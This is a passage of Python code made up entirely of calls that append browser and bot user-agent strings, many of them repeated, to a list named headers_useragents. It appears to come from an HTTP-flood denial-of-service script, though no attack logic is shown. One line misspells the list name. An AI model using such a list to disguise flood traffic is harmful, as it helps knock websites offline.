Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragnts.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; 